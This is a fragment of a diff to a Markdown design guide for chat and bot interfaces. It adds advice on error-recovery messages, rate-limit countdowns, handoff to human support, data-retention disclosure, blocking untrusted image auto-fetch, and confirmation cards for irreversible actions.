257
+ ```
258
+
259
+ Verify streaming abort (`stop()`), `resume: true` reload recovery, partial-arg tool states, `'output-error'` + `regenerate()`, approval accept/deny idempotency, and scroll-yield in a real browser (`rendered` evidence).
@@ -64,15 +64,21 @@ Fallback must not expose secrets or rely on callback internals. Test plain-text
64
64
  - do not use ASCII tables that collapse in proportional/mobile clients;
65
65
  - avoid time-only urgency (“soon”)—use absolute time plus relative context where useful.
66
66
 
67
- ## Privacy and security
67
+ ## Recovery, `429` rate limits, and warm human escalation
68
+
69
+ - **3-part error recovery (*What failed · Why · Next action*)**: replace vague `"Something went wrong"` banners with concrete actionable copy (*"Invoice lookup failed · Warehouse timed out after 15 s · Retry query or narrow date range"*) preserving the user's draft.
70
+ - **`429` rate-limit countdown & queue**: when quota or burst limits trip, display the exact `Retry-After` countdown (`Rate limit reached — sending queued prompt in 12s`) with a `Cancel queued send` button rather than dropping the user's message.
71
+ - **Warm human-support escalation**: never trap frustrated or out-of-policy users in a bot loop ("I didn't understand that" × 3). Offer a visible **Talk to a human** handoff that transfers a **structured conversation summary, entity IDs, and failed tool traces** directly to the support agent so the customer **never repeats themselves**, displaying real queue/SLA status.
72
+
73
+ ## Privacy, retention disclosure, and security
68
74
 
69
75
  - validate interaction signatures/tokens and mini-app initialization data server-side;
70
76
  - scope callback data/opaque IDs and expire them;
71
- - redact secrets and personal data from logs/cards/fallbacks;
72
- - treat channel membership changes as an authorization concern;
73
- - use confirmation for irreversible/shared actions; state exactly what will happen;
74
- - never ask for passwords/tokens in chat input unless the platform explicitly supports a secure input path.
77
+ - redact secrets and personal data from logs/cards/fallbacks, and block untrusted Markdown `<img>` URLs from auto-fetching (`CSP img-src` allowlist / click-to-load);
78
+ - disclose **data retention & model-training policy** plainly in workspace chrome/settings and provide a working **Delete Thread** action that purges conversation state and uploaded files;
79
+ - use `Before -> After` confirmation cards for irreversible/shared actions (`Approve once` / `Edit` / `Reject`);
80
+ - never ask for passwords/tokens in chat input unless the platform explicitly provides an encrypted secret modal/flow.
75
81
 
76
82
  ## Anti-slop warnings
77
83
 
78
- Reject cheerful filler before the answer, fake typing delays, repeated apologies, dead-end “OK” buttons, cards filled with metadata but no decision, emoji spam, undocumented truncation, unbounded stacked notifications, and “AI assistant” personas that obscure system state. The interface should sound like a competent tool: direct, contextual, reversible, and honest.
84
+ Reject cheerful filler before the answer, fake typing delays, repeated apologies, dead-end “OK” buttons, raw JSON tool-approval dumps, emoji spam, undocumented truncation, cold bot-to-human transfers that lose history, and “AI assistant” personas that obscure system state. The interface should sound like a competent tool: direct, contextual, reversible, and honest.